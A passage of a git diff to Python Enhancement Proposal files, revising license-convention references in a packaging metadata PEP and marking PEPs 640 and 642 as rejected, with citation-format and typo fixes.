to use a single ``LICENSE`` file - that should contain all the license texts each separated by a line with 80 - hyphens. +- The `Dart/Flutter spec `__ recommends using a single ``LICENSE`` + file that should contain all the license texts, each separated by a line + with 80 hyphens. -- JavaScript Bower [#bower]_ ``license`` field is either a single string or a list - of strings using either SPDX license identifiers, or a path or a URL to a - license file. +- The `JavaScript Bower `__ ``license`` field is either a single string + or list of strings using either SPDX license identifiers, or a path/URL + to a license file. -- Cocoapods podspec [#cocoapod]_ ``license`` field is either a single string or a - mapping with attributes of type, file and text keys. This is mandatory unless - there is a LICENSE or LICENCE file provided. +- The `Cocoapods podspec `__ ``license`` field is either a single + string, or a mapping with ``type``, ``file`` and ``text`` keys. + This is mandatory unless there is a ``LICENSE``/``LICENCE`` file provided. -- Haskell Cabal [#cabal]_ accepts an SPDX license expression since version 2.2. - The version of the SPDX license list used is a function of the ``cabal`` version. - The specification also provides a mapping between pre-SPDX Legacy license - Identifiers and SPDX identifiers. Cabal also specifies a ``license-file(s)`` - field that lists license files that will be installed with the package. +- `Haskell Cabal `__ accepts an SPDX license expression since + version 2.2. The version of the SPDX license list used is a function of + the Cabal version. The specification also provides a mapping between + legacy (pre-SPDX) and SPDX license Identifiers. Cabal also specifies a + ``license-file(s)`` field that lists license files to be installed with + the package. -- Erlang/Elixir mix/hex package [#mix]_ specifies a ``licenses`` field as a - required list of license strings and recommends to use SPDX license +- `Erlang/Elixir mix/hex package `__ specifies a ``licenses`` field as a + required list of license strings, and recommends using SPDX license identifiers. -- D lang dub package [#dub]_ defines its own list of license identifiers and - its own license expression syntax and both are similar to the SPDX conventions. +- `D Langanguage dub packages `__ define their own list of license + identifiers and license expression syntax, similar to the SPDX standard. -- R Package DESCRIPTION [#cran]_ defines its own sophisticated license - expression syntax and list of licenses identifiers. R has a unique way to - support specifiers for license versions such as ``LGPL (>= 2.0, < 3)`` in its - license expression syntax. +- The `R Package DESCRIPTION `__ defines its own sophisticated license + expression syntax and list of licenses identifiers. R has a unique way of + supporting specifiers for license versions (such as ``LGPL (>= 2.0, < 3)``) + in its license expression syntax. -Conventions used by other ecosystems ------------------------------------- +Other ecosystems +---------------- -- ``SPDX-License-Identifier`` [#spdxids]_ is a simple convention to document the - license inside a file. +- The ``SPDX-License-Identifier`` `header `__ is a simple + convention to document the license inside a file. -- The Free Software Foundation (FSF) promotes the use of SPDX license identifiers - for clarity in the GPL and other versioned free software licenses [#gnu]_ - [#fsf]_. +- The `Free Software Foundation (FSF) `__ promotes the use of + SPDX license identifiers for clarity in the `GPL `__ and other + versioned free software licenses. -- The Free Software Foundation Europe (FSFE) REUSE project [#reuse]_ promotes - using ``SPDX-License-Identifier``. +- The Free Software Foundation Europe (FSFE) `REUSE project `__ + promotes using ``SPDX-License-Identifier``. -- The Linux kernel uses ``SPDX-License-Identifier`` and parts of the FSFE REUSE - conventions to document its licenses [#linux]_. +- The `Linux kernel `__ uses ``SPDX-License-Identifier`` + and parts of the FSFE REUSE conventions to document its licenses. -- U-Boot spearheaded using ``SPDX-License-Identifier`` in code and now follows the - Linux ways [#uboot]_. +- `U-Boot `__ spearheaded using ``SPDX-License-Identifier`` in code + and now follows the Linux approach. -- The Apache Software Foundation projects use RDF DOAP [#apache]_ with a single - license field pointing to SPDX license identifiers. +- The Apache Software Foundation projects use `RDF DOAP `__ with + a single license field pointing to SPDX license identifiers. -- The Eclipse Foundation promotes using ``SPDX-license-Identifiers`` [#eclipse]_ +- The `Eclipse Foundation `__ promotes using + ``SPDX-license-Identifiers``. -- The ClearlyDefined project [#cd]_ promotes using SPDX license identifiers and - expressions to improve license clarity. +- The `ClearlyDefined project `__ promotes using SPDX + license identifiers and expressions to improve license clarity. -- The Android Open Source Project [#android]_ use ``MODULE_LICENSE_XXX`` empty - tag files where ``XXX`` is a license code such as BSD, APACHE, GPL, etc. And - side by side with this ``MODULE_LICENSE`` file there is a ``NOTICE`` file - that contains license and notices texts. +- The `Android Open Source Project `__ uses ``MODULE_LICENSE_XXX`` + empty tag files, where ``XXX`` is a license code such as ``BSD``, ``APACHE``, + ``GPL``, etc. It also uses a ``NOTICE`` file that contains license and + notice texts. References ========== -This document specifies version 2.2 of the metadata format. - -- Version 1.0 is specified in PEP 241. -- Version 1.1 is specified in PEP 314. -- Version 1.2 is specified in PEP 345. -- Version 2.0, while not formally accepted, was specified in PEP 426. -- Version 2.1 is specified in PEP 566. - -.. [#cms] https://packaging.python.org/specifications/core-metadata -.. [#cdstats] https://clearlydefined.io/stats -.. [#cd] https://clearlydefined.io -.. [#osi] http://opensource.org -.. [#classif] https://pypi.org/classifiers -.. [#spdxlist] https://spdx.org/licenses -.. [#spdx] https://spdx.org -.. [#spdx22] https://spdx.github.io/spdx-spec/appendix-IV-SPDX-license-expressions/ -.. [#wheels] https://github.com/pypa/wheel/blob/b8b21a5720df98703716d3cd981d8886393228fa/docs/user_guide.rst#including-license-files-in-the-generated-wheel-file -.. [#reuse] https://reuse.software/ -.. [#licexp] https://github.com/nexB/license-expression/ -.. [#spdxpy] https://github.com/spdx/tools-python/ -.. [#scancodetk] https://github.com/nexB/scancode-toolkit -.. [#licfield] https://packaging.python.org/guides/distributing-packages-using-setuptools/?highlight=MANIFEST.in#license -.. [#samplesetup] https://github.com/pypa/sampleproject/blob/52966defd6a61e97295b0bb82cd3474ac3e11c7a/setup.py#L98 -.. [#pipsetup] https://github.com/pypa/pip/blob/476606425a08c66b9c9d326994ff5cf3f770926a/setup.cfg#L40 -.. [#setuptoolssdist] https://github.com/pypa/setuptools/blob/97e8ad4f5ff7793729e9c8be38e0901e3ad8d09e/setuptools/command/sdist.py#L202 -.. [#packaging] https://packaging.python.org/guides/distributing-packages-using-setuptools/?highlight=MANIFEST.in#license-txt -.. [#pycode] https://github.com/search?l=Python&q=%22__license__%22&type=Code -.. [#setuptools5030] https://github.com/pypa/setuptools/blob/v50.3.0/setup.cfg#L17 -.. [#packlic] https://github.com/pypa/packaging/blob/19.1/LICENSE -.. [#conda] https://docs.conda.io/projects/conda-build/en/latest/resources/define-metadata.html#about-section -.. [#flit] https://github.com/takluyver/flit -.. [#poetry] https://poetry.eustace.io/docs/pyproject/#license -.. [#pbr] https://docs.openstack.org/pbr/latest/user/features.html -.. [#dep5] https://dep-team.pages.debian.net/deps/dep5/ -.. [#fedora] https://docs.fedoraproject.org/en-US/packaging-guidelines/LicensingGuidelines/ -.. [#fedoratext] https://docs.fedoraproject.org/en-US/packaging-guidelines/LicensingGuidelines/#_license_text -.. [#fedoralic] https://docs.fedoraproject.org/en-US/packaging-guidelines/LicensingGuidelines/#_valid_license_short_names -.. [#fedoralist] https://fedoraproject.org/wiki/Licensing:Main?rd=Licensing#Good_Licenses -.. [#opensuse] https://en.opensuse.org/openSUSE:Packaging_guidelines#Licensing -.. [#opensuselist] https://docs.google.com/spreadsheets/d/14AdaJ6cmU0kvQ4ulq9pWpjdZL5tkR03exRSYJmPGdfs/pub -.. [#gentoo] https://devmanual.gentoo.org/ebuild-writing/variables/index.html#license -.. [#glep23] https://www.gentoo.org/glep/glep-0023.html -.. [#gentoodev] https://devmanual.gentoo.org/general-concepts/licenses/index.html -.. [#freebsd] https://www.freebsd.org/doc/en_US.ISO8859-1/books/porters-handbook/licenses.html -.. [#archinux] https://wiki.archlinux.org/index.php/PKGBUILD#license -.. [#archlinuxlist] https://wiki.archlinux.org/index.php/PKGBUILD#license -.. [#openwrt] https://openwrt.org/docs/guide-developer/packages#buildpackage_variables -.. [#nixos] https://github.com/NixOS/nixpkgs/blob/master/lib/licenses.nix -.. [#guix] http://git.savannah.gnu.org/cgit/guix.git/tree/guix/licenses.scm -.. [#guixlic] https://guix.gnu.org/manual/en/html_node/package-Reference.html#index-license_002c-of-packages -.. [#alpine] https://wiki.alpinelinux.org/wiki/Creating_an_Alpine_package#license -.. [#maven] https://maven.apache.org/pom.html#Licenses -.. [#npm] https://docs.npmjs.com/files/package.json#license -.. [#gem] https://guides.rubygems.org/specification-reference/#license= -.. [#perl] https://metacpan.org/pod/CPAN::Meta::Spec#license -.. [#cargo] https://doc.rust-lang.org/cargo/reference/manifest.html#package-metadata -.. [#cratesio] https://doc.rust-lang.org/cargo/reference/registries.html#publish -.. [#composer] https://getcomposer.org/doc/04-schema.md#license -.. [#nuget] https://docs.microsoft.com/en-us/nuget/reference/nuspec#licenseurl -.. [#flutter] https://flutter.dev/docs/development/packages-and-plugins/developing-packages#adding-licenses-to-the-license-file -.. [#bower] https://github.com/bower/spec/blob/master/json.md#license -.. [#cocoapod] https://guides.cocoapods.org/syntax/podspec.html#license -.. [#cabal] https://cabal.readthedocs.io/en/latest/developing-packages.html#pkg-field-license -.. [#mix] https://hex.pm/docs/publish -.. [#dub] https://dub.pm/package-format-json.html#licenses -.. [#cran] https://cran.r-project.org/doc/manuals/r-release/R-exts.html#Licensing -.. [#spdxids] https://spdx.org/using-spdx-license-identifier -.. [#gnu] https://www.gnu.org/licenses/identify-licenses-clearly.html -.. [#fsf] https://www.fsf.org/blogs/rms/rms-article-for-claritys-sake-please-dont-say-licensed-under-gnu-gpl-2 -.. [#linux] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/Documentation/process/license-rules.rst -.. [#uboot] https://www.denx.de/wiki/U-Boot/Licensing -.. [#apache] https://svn.apache.org/repos/asf/allura/doap_Allura.rdf -.. [#eclipse] https://www.eclipse.org/legal/epl-2.0/faq.php -.. [#android] https://github.com/aosp-mirror/platform_external_tcpdump/blob/master/MODULE_LICENSE_BSD -.. [#cc0] https://creativecommons.org/publicdomain/zero/1.0/ -.. [#unlic] https://unlicense.org/ - - -Copyright -========= - -This document is placed in the public domain or under the CC0-1.0-Universal -license [#cc0]_, whichever is more permissive. - - -Acknowledgements -================ +.. _alpine: https://wiki.alpinelinux.org/wiki/Creating_an_Alpine_package#license +.. _android: https://github.com/aosp-mirror/platform_external_tcpdump/blob/android-platform-12.0.0_r1/MODULE_LICENSE_BSD +.. _apache: https://svn.apache.org/repos/asf/allura/doap_Allura.rdf +.. _archinux: https://wiki.archlinux.org/title/PKGBUILD#license +.. _archlinuxlist: https://archlinux.org/packages/core/any/licenses/files/ +.. _badclassifiers: https://github.com/pypa/trove-classifiers/issues/17#issuecomment-385027197 +.. _bower: https://github.com/bower/spec/blob/b00c4403e22e3f6177c410ed3391b9259687e461/json.md#license +.. _cabal: https://cabal.readthedocs.io/en/3.6/cabal-package.html?highlight=license#pkg-field-license +.. _cargo: https://doc.rust-lang.org/cargo/reference/manifest.html#package-metadata +.. _cc0: https://creativecommons.org/publicdomain/zero/1.0/ +.. _cdstats: https://clearlydefined.io/stats +.. _choosealicense: https://choosealicense.com/ +.. _choosealicenselist: https://choosealicense.com/licenses/ +.. _chooseamitlicense: https://choosealicense.com/licenses/mit/ +.. _classifierissue: https://github.com/pypa/trove-classifiers/issues/17 +.. _classifiers: https://pypi.org/classifiers +.. _classifiersrepo: https://github.com/pypa/trove-classifiers +.. _clearlydefined: https://clearlydefined.io +.. _cocoapod: https://guides.cocoapods.org/syntax/podspec.html#license +.. _composer: https://getcomposer.org/doc/04-schema.md#license +.. _conda: https://docs.conda.io/projects/conda-build/en/stable/resources/define-metadata.html#about-section +.. _coremetadataspec: https://packaging.python.org/specifications/core-metadata +.. _cran: https://cran.r-project.org/doc/manuals/r-release/R-exts.html#Licensing +.. _cratesio: https://doc.rust-lang.org/cargo/reference/registries.html#publish +.. _dep5: https://dep-team.pages.debian.net/deps/dep5/ +.. _dontchoosealicense: https://choosealicense.com/no-permission/ +.. _dub: https://dub.pm/package-format-json.html#licenses +.. _eclipse: https://www.eclipse.org/legal/epl-2.0/faq.php +.. _fedora: https://docs.fedoraproject.org/en-US/packaging-guidelines/LicensingGuidelines/ +.. _fedoralicense: https://docs.fedoraproject.org/en-US/packaging-guidelines/LicensingGuidelines/#_valid_license_short_names +.. _fedoralist: https://fedoraproject.org/wiki/Licensing:Main?rd=Licensing#Good_Licenses +.. _fedoratext: https://docs.fedoraproject.org/en-US/packaging-guidelines/LicensingGuidelines/#_license_text +.. _flit: https://flit.readthedocs.io/en/stable/pyproject_toml.html +.. _flutter: https://flutter.dev/docs/development/packages-and-plugins/developing-packages#adding-licenses-to-the-license-file +.. _freebsd: https://docs.freebsd.org/en/books/porters-handbook/makefiles/#licenses +.. _fsf: https://www.fsf.org/blogs/rms/rms-article-for-claritys-sake-please-dont-say-licensed-under-gnu-gpl-2 +.. _gem: https://guides.rubygems.org/specification-reference/#license= +.. _gentoo: https://devmanual.gentoo.org/ebuild-writing/variables/index.html#license +.. _gentoodev: https://devmanual.gentoo.org/general-concepts/licenses/index.html +.. _glep23: https://www.gentoo.org/glep/glep-0023.html +.. _globmodule: https://docs.python.org/3/library/glob.html +.. _gnu: https://www.gnu.org/licenses/identify-licenses-clearly.html +.. _guix: https://git.savannah.gnu.org/cgit/guix.git/tree/guix/licenses.scm?h=v1.3.0 +.. _guixlicense: https://guix.gnu.org/manual/en/html_node/package-Reference.html#index-license_002c-of-packages +.. _installedspec: https://packaging.python.org/specifications/recording-installed-packages/ +.. _interopissue: https://github.com/pypa/interoperability-peps/issues/46 +.. _licenseexplib: https://github.com/nexB/license-expression/ +.. _licensefield: https://packaging.python.org/guides/distributing-packages-using-setuptools/#license +.. _linux: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/Documentation/process/license-rules.rst +.. _maven: https://maven.apache.org/pom.html#Licenses +.. _mitlicense: https://opensource.org/licenses/MIT +.. _mix: https://hex.pm/docs/publish +.. _nixos: https://github.com/NixOS/nixpkgs/blob/21.05/lib/licenses.nix +.. _npm: https://docs.npmjs.com/cli/v8/configuring-npm/package-json#license +.. _nuget: https://docs.microsoft.com/en-us/nuget/reference/nuspec#licenseurl +.. _numpyissue: https://github.com/numpy/numpy/issues/8689 +.. _opensuse: https://en.opensuse.org/openSUSE:Packaging_guidelines#Licensing +.. _opensuselist: https://docs.google.com/spreadsheets/d/14AdaJ6cmU0kvQ4ulq9pWpjdZL5tkR03exRSYJmPGdfs/pub +.. _openwrt: https://openwrt.org/docs/guide-developer/packages#buildpackage_variables +.. _osi: https://opensource.org +.. _packagingguidetxt: https://packaging.python.org/guides/distributing-packages-using-setuptools/#license-txt +.. _packagingissue: https://github.com/pypa/packaging-problems/issues/41 +.. _packaginglicense: https://github.com/pypa/packaging/blob/21.2/LICENSE +.. _packagingtutkey: https://packaging.python.org/tutorials/packaging-projects/#configuring-metadata +.. _packagingtuttxt: https://packaging.python.org/tutorials/packaging-projects/#creating-a-license +.. _pbr: https://docs.openstack.org/pbr/latest/user/features.html +.. _pep621spec: https://packaging.python.org/specifications/declaring-project-metadata/ +.. _pepissue: https://github.com/pombredanne/spdx-pypi-pep/issues/1 +.. _perl: https://metacpan.org/pod/CPAN::Meta::Spec#license +.. _pipsetup: https://github.com/pypa/pip/blob/21.3.1/setup.cfg#L114 +.. _poetry: https://python-poetry.org/docs/pyproject/#license +.. _pycode: https://github.com/search?l=Python&q=%22__license__%22&type=Code +.. _pypi: https://pypi.org/ +.. _pypugdistributionpackage: https://packaging.python.org/en/latest/glossary/#term-Distribution-Package +.. _pypugglossary: https://packaging.python.org/glossary/ +.. _pypugproject: https://packaging.python.org/en/latest/glossary/#term-Project +.. _pytorch: https://pypi.org/project/torch/ +.. _reuse: https://reuse.software/ +.. _reusediscussion: https://github.com/pombredanne/spdx-pypi-pep/issues/7 +.. _samplesetupcfg: https://github.com/pypa/sampleproject/blob/3a836905fbd687af334db16b16c37cf51dcbc99c/setup.cfg +.. _samplesetuppy: https://github.com/pypa/sampleproject/blob/3a836905fbd687af334db16b16c37cf51dcbc99c/setup.py#L98 +.. _scancodetk: https://github.com/nexB/scancode-toolkit +.. _scipyissue: https://github.com/scipy/scipy/issues/7093 +.. _sdistspec: https://packaging.python.org/specifications/source-distribution-format/ +.. _setuptools5911: https://github.com/pypa/setuptools/blob/v59.1.1/setup.cfg +.. _setuptoolsfiles: https://github.com/pypa/setuptools/issues/2739 +.. _setuptoolspep639: https://github.com/pypa/setuptools/pull/2645 +.. _setuptoolssdist: https://github.com/pypa/setuptools/pull/1767 +.. _spdx: https://spdx.dev/ +.. _spdxid: https://spdx.dev/ids/ +.. _spdxlist: https://spdx.org/licenses/ +.. _spdxpression: https://spdx.github.io/spdx-spec/SPDX-license-expressions/ +.. _spdxpy: https://github.com/spdx/tools-python/ +.. _spdxtutorial: https://github.com/david-a-wheeler/spdx-tutorial +.. _spdxversion: https://github.com/pombredanne/spdx-pypi-pep/issues/6 +.. _uboot: https://www.denx.de/wiki/U-Boot/Licensing +.. _unlicense: https://unlicense.org/ +.. _wheelfiles: https://github.com/pypa/wheel/issues/138 +.. _wheelproject: https://wheel.readthedocs.io/en/stable/ +.. _wheels: https://github.com/pypa/wheel/blob/0.37.0/docs/user_guide.rst#including-license-files-in-the-generated-wheel-file +.. _wheelspec: https://packaging.python.org/specifications/binary-distribution-format/ + + +Acknowledgments +=============== - Nick Coghlan - Kevin P. Fleming @@ -894,11 +2800,8 @@ Acknowledgements - Luis Villa - -.. - Local Variables: - mode: indented-text - indent-tabs-mode: nil - sentence-end-double-space: t - fill-column: 80 - End: +Copyright +========= + +This document is placed in the public domain or under the +`CC0-1.0-Universal license `__, whichever is more permissive. diff --git a/pep-0640.rst b/pep-0640.rst index b10ddfbb83d..2461480fcd2 100644 --- a/pep-0640.rst +++ b/pep-0640.rst @@ -1,12 +1,19 @@ PEP: 640 Title: Unused variable syntax Author: Thomas Wouters -Status: Draft +Status: Rejected Type: Standards Track Content-Type: text/x-rst Created: 04-Oct-2020 Python-Version: 3.10 Post-History: 19-Oct-2020 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/message/SQC2FTLFV5A7DV7RCEAR2I2IKJKGK7W3/ + +Rejection Note +============== + +Rejected by the Steering Council: +https://mail.python.org/archives/list/python-dev@python.org/message/SQC2FTLFV5A7DV7RCEAR2I2IKJKGK7W3/ Abstract ======== @@ -36,8 +43,8 @@ potentially conflicts with the use of ``"_"`` in internationalization, where a call like gettext.gettext() is bound to ``"_"`` and used to mark strings for translation. -In the proposal to add Pattern Matching to Python (originally PEP 622, now -split into PEP 634, PEP 635 and PEP 636), ``"_"`` has an *additional* +In the proposal to add Pattern Matching to Python (originally :pep:`622`, now +split into :pep:`634`, :pep:`635` and :pep:`636`), ``"_"`` has an *additional* special meaning. It is a wildcard pattern, used in places where variables could be assigned to, to indicate anything should be matched but not assigned to anything. The choice of ``"_"`` there matches the use of ``"_"`` @@ -150,7 +157,7 @@ places. Alternatively, it could be introduced as part of an explanation on assignment in ``for`` loops, showing an example where the loop variable is unused. -PEP 636 discusses how to teach ``"_"``, and can simply replace ``"_"`` with +:pep:`636` discusses how to teach ``"_"``, and can simply replace ``"_"`` with ``"?"``, perhaps noting that ``"?"`` is similarly usable in other contexts. Reference Implementation diff --git a/pep-0641.rst b/pep-0641.rst index f2df690f4ae..a6b21e55656 100644 --- a/pep-0641.rst +++ b/pep-0641.rst @@ -10,7 +10,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 20-Oct-2020 Python-Version: 3.10 -Post-History: 2020-10-21 +Post-History: 21-Oct-2020 Resolution: https://discuss.python.org/t/pep-641-using-an-underscore-in-the-version-portion-of-python-3-10-compatibility-tags/5513/42 Abstract @@ -79,7 +79,7 @@ In non-locale ASCII, ``_`` sorts after any digit, so lexicographic sorting matching a sort by Python version of a wheel file name will be kept. -Since PEP 515 (Python 3.6), underscores in numeric literals are ignored. +Since :pep:`515` (Python 3.6), underscores in numeric literals are ignored. This means that ``int("3_10")`` and ``int("310")`` produce the same result, and ordering based on conversion to an integer will be preserved. **However**, this is still a bad way to sort tags, and the point is raised diff --git a/pep-0642.rst b/pep-0642.rst index 5fce6a2c5ba..f582b302fb3 100644 --- a/pep-0642.rst +++ b/pep-0642.rst @@ -4,26 +4,26 @@ Version: $Revision$ Last-Modified: $Date$ Author: Nick Coghlan BDFL-Delegate: -Discussions-To: Python-Dev -Status: Draft +Discussions-To: python-dev@python.org +Status: Rejected Type: Standards Track Content-Type: text/x-rst Requires: 634 Created: 26-Sep-2020 Python-Version: 3.10 -Post-History: 31-Oct-2020, 8-Nov-2020, 3-Jan-2021 -Resolution: +Post-History: 31-Oct-2020, 08-Nov-2020, 03-Jan-2021 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/message/SQC2FTLFV5A7DV7RCEAR2I2IKJKGK7W3/ Abstract ======== -This PEP covers an alternative syntax proposal for PEP 634's structural pattern +This PEP covers an alternative syntax proposal for :pep:`634`'s structural pattern matching that requires explicit prefixes on all capture patterns and value constraints. It also proposes a new dedicated syntax for instance attribute patterns that aligns more closely with the proposed mapping pattern syntax. While the result is necessarily more verbose than the proposed syntax in -PEP 634, it is still significantly less verbose than the status quo. +:pep:`634`, it is still significantly less verbose than the status quo. As an example, the following match statement would extract "host" and "port" details from a 2 item sequence, a mapping with "host" and "port" keys, any @@ -58,7 +58,7 @@ types as follows: * group patterns: ``(PTRN)`` * value constraint patterns: * equality constraints: ``== EXPR`` - * identity contraints: ``is EXPR`` + * identity constraints: ``is EXPR`` * structural constraint patterns: * sequence constraint patterns: ``[PTRN, as NAME, PTRN as NAME]`` * mapping constraint patterns: ``{EXPR: PTRN, EXPR as NAME}`` @@ -81,33 +81,33 @@ The intent of this approach is to: adopted in ordinary expressions as a way to more easily retrieve a tuple containing multiple attributes from the same object -Relative to PEP 634, the proposal also deliberately eliminates any syntax that +Relative to :pep:`634`, the proposal also deliberately eliminates any syntax that "binds to the right" without using the ``as`` keyword (using capture patterns -in PEP 634's mapping patterns and class patterns) or binds to both the left and -the right in the same pattern (using PEP 634's capture patterns with AS patterns) +in :pep:`634`'s mapping patterns and class patterns) or binds to both the left and +the right in the same pattern (using :pep:`634`'s capture patterns with AS patterns) Relationship with other PEPs ============================ -This PEP both depends on and competes with PEP 634 - the PEP author agrees that +This PEP both depends on and competes with :pep:`634` - the PEP author agrees that match statements would be a sufficiently valuable addition to the language to be worth the additional complexity that they add to the learning process, but disagrees with the idea that "simple name vs literal or attribute lookup" really offers an adequate syntactic distinction between name binding and value lookup operations in match patterns (at least for Python). -This PEP agrees with the spirit of PEP 640 (that the chosen wildcard pattern to +This PEP agrees with the spirit of :pep:`640` (that the chosen wildcard pattern to skip a name binding should be supported everywhere, not just in match patterns), but is now proposing a different spelling for the wildcard syntax (``__`` rather -than ``?``). As such, it competes with PEP 640 as written, but would complement +than ``?``). As such, it competes with :pep:`640` as written, but would complement a proposal to deprecate the use of ``__`` as an ordinary identifier and instead turn it into a general purpose wildcard marker that always skips making a new local variable binding. While it has not yet been put forward as a PEP, Mark Shannon has a pre-PEP draft [8_] expressing several concerns about the runtime semantics of the pattern -matching proposal in PEP 634. This PEP is somewhat complementary to that one, as +matching proposal in :pep:`634`. This PEP is somewhat complementary to that one, as even though this PEP is mostly about surface syntax changes rather than major semantic changes, it does propose that the Abstract Syntax Tree definition be made more explicit to better separate the details of the surface syntax from the @@ -121,7 +121,7 @@ intentionally be governed by the order of the cases in the match statement. Motivation ========== -The original PEP 622 (which was later split into PEP 634, PEP 635, and PEP 636) +The original :pep:`622` (which was later split into :pep:`634`, :pep:`635`, and :pep:`636`) incorporated an unstated but essential assumption in its syntax design: that neither ordinary expressions *nor* the existing assignment target syntax provide an adequate foundation for the syntax used in match patterns. @@ -155,12 +155,12 @@ The first iteration of this PEP was then born out of an attempt to show that the second assertion was not accurate, and that match patterns could be treated as a variation on assignment targets without leading to inherent contradictions. (An earlier PR submitted to list this option in the "Rejected Ideas" section -of the original PEP 622 had previously been declined [2_]). +of the original :pep:`622` had previously been declined [2_]). However, the review process for this PEP strongly suggested that not only did the contradictions that Tobias mentioned in his email exist, but they were also -concerning enough to cast doubts on the syntax proposal presented in PEP 634. -Accordingly, this PEP was changed to go even further than PEP 634, and largely +concerning enough to cast doubts on the syntax proposal presented in :pep:`634`. +Accordingly, this PEP was changed to go even further than :pep:`634`, and largely abandon alignment between the sequence matching syntax and the existing iterable unpacking syntax (effectively answering "Not really, as least as far as the exact syntax is concerned" to the first question raised in the DLS'20 paper @@ -175,7 +175,7 @@ about the new construct based on experience with existing ones. Finally, before completing the 3rd iteration of the proposal (which dropped inferred patterns entirely), the PEP author spent quite a bit of time reflecting -on the following entries in PEP 20: +on the following entries in :pep:`20`: * Explicit is better than implicit. * Special cases aren't special enough to break the rules. @@ -192,7 +192,7 @@ Specification ============= This PEP retains the overall ``match``/``case`` statement structure and semantics -from PEP 634, but proposes multiple changes that mean that user intent is +from :pep:`634`, but proposes multiple changes that mean that user intent is explicitly specified in the concrete syntax rather than needing to be inferred from the pattern matching context. @@ -239,17 +239,17 @@ restricted to top level patterns and to group patterns (which are patterns surrounded by parentheses). Closed patterns are patterns which either consist of a single token -(i.e. ``__``), or else have a closing delimeter as a required part of their +(i.e. ``__``), or else have a closing delimiter as a required part of their syntax (e.g. ``[as x, as y]``, ``object{.x as x, .y as y}``). -As in PEP 634, the ``match`` and ``case`` keywords are soft keywords, i.e. they +As in :pep:`634`, the ``match`` and ``case`` keywords are soft keywords, i.e. they are not reserved words in other grammatical contexts (including at the start of a line if there is no colon where expected). This means that they are recognized as keywords when part of a match statement or case block only, and are allowed to be used in all other contexts as variable or argument names. -Unlike PEP 634, patterns are explicitly defined as a new kind of node in the +Unlike :pep:`634`, patterns are explicitly defined as a new kind of node in the abstract syntax tree - even when surface syntax is shared with existing expression nodes, a distinct abstract node is emitted by the parser. @@ -262,13 +262,13 @@ Match Semantics ^^^^^^^^^^^^^^^ This PEP largely retains the overall pattern matching semantics proposed in -PEP 634. +:pep:`634`. The proposed syntax for patterns changes significantly, and is discussed in detail below. There are also some proposed changes to the semantics of class defined -constraints (class patterns in PEP 634) to eliminate the need to special case +constraints (class patterns in :pep:`634`) to eliminate the need to special case any builtin types (instead, the introduction of dedicated syntax for instance attribute constraints allows the behaviour needed by those builtin types to be specified as applying to any type that sets ``__match_args__`` to ``None``) @@ -279,7 +279,7 @@ specified as applying to any type that sets ``__match_args__`` to ``None``) Guards ^^^^^^ -This PEP retains the guard clause semantics proposed in PEP 634. +This PEP retains the guard clause semantics proposed in :pep:`634`. However, the syntax is changed slightly to require that when a guard clause is present, the case pattern must be a *closed* pattern. @@ -296,11 +296,11 @@ Irrefutable case blocks ^^^^^^^^^^^^^^^^^^^^^^^ The definition of irrefutable case blocks changes slightly in this PEP relative -to PEP 634, as capture patterns no longer exist as a separate concept from +to :pep:`634`, as capture patterns no longer exist as a separate concept from AS patterns. Aside from that caveat, the handling of irrefutable cases is the same as in -PEP 634: +:pep:`634`: * wildcard patterns are irrefutable * AS patterns whose left-hand side is irrefutable @@ -383,7 +383,7 @@ is not permitted as a capture target (this is what ``!"__"`` expresses). A capture pattern always succeeds. It binds the subject value to the name using the scoping rules for name binding established for named expressions -in PEP 572. (Summary: the name becomes a local +in :pep:`572`. (Summary: the name becomes a local variable in the closest containing function scope unless there's an applicable ``nonlocal`` or ``global`` statement.) @@ -462,7 +462,7 @@ The rule ``primary`` is defined in the standard Python grammar, and only allows expressions that either consist of a single token, or else are required to end with a closing delimiter. -Value constraints replace PEP 634's literal patterns and value patterns. +Value constraints replace :pep:`634`'s literal patterns and value patterns. Equality constraints are written as ``== EXPR``, while identity constraints are written as ``is EXPR``. @@ -481,14 +481,14 @@ parentheses is desirable. When the same constraint expression occurs multiple times in the same match statement, the interpreter may cache the first value calculated and reuse it, -rather than repeat the expression evaluation. (As for PEP 634 value patterns, +rather than repeat the expression evaluation. (As for :pep:`634` value patterns, this cache is strictly tied to a given execution of a given match statement.) -Unlike literal patterns in PEP 634, this PEP requires that complex +Unlike literal patterns in :pep:`634`, this PEP requires that complex literals be parenthesised to be accepted by the parser. See the Deferred Ideas section for discussion on that point. -If this PEP were to be adopted in preference to PEP 634, then all literal and +If this PEP were to be adopted in preference to :pep:`634`, then all literal and value patterns would instead be written more explicitly as value constraints:: # Literal patterns @@ -568,9 +568,9 @@ Abstract syntax:: MatchAlways -A wildcard pattern always succeeds. As in PEP 634, it binds no name. +A wildcard pattern always succeeds. As in :pep:`634`, it binds no name. -Where PEP 634 chooses the single underscore as its wildcard pattern for +Where :pep:`634` chooses the single underscore as its wildcard pattern for consistency with other languages, this PEP chooses the double underscore as that has a clearer path towards potentially being made consistent across the entire language, whereas that path is blocked for ``"_"`` by i18n related use cases. @@ -601,7 +601,7 @@ abstract syntax tree. It allows users to add parentheses around patterns to emphasize the intended grouping, and to allow nesting of open patterns when the grammar requires a closed pattern. -Unlike PEP 634, there is no potential ambiguity with sequence patterns, as +Unlike :pep:`634`, there is no potential ambiguity with sequence patterns, as this PEP requires that all sequence patterns be written with square brackets. @@ -698,7 +698,7 @@ Subpatterns are mostly required to be closed patterns, but the parentheses may be omitted for value constraints. Sequence elements may also be captured unconditionally without parentheses. -Note: where PEP 634 allows all the same syntactic flexibility as iterable +Note: where :pep:`634` allows all the same syntactic flexibility as iterable unpacking in assignment statements, this PEP restricts sequence patterns specifically to the square bracket form. Given that the open and parenthesised forms are far more popular than square brackets for iterable unpacking, this @@ -752,8 +752,8 @@ and a ``ValueError`` is raised. While it would theoretically be possible to checked for duplicated constant keys at compile time, no such check is currently defined or implemented. -(Note: This semantic description is derived from the PEP 634 reference -implementation, which differs from the PEP 634 specification text at time of +(Note: This semantic description is derived from the :pep:`634` reference +implementation, which differs from the :pep:`634` specification text at time of writing. The implementation seems reasonable, so amending the PEP text seems like the best way to resolve the discrepancy) @@ -889,7 +889,7 @@ converted to an instance attributes constraint as follows: - if only the double star attribute constraints subpattern is present, matching proceeds as if for the equivalent instance attributes constraint. - if there are more positional subpatterns than the length of - ``__match_args__``` (as obtained using ``len()``), 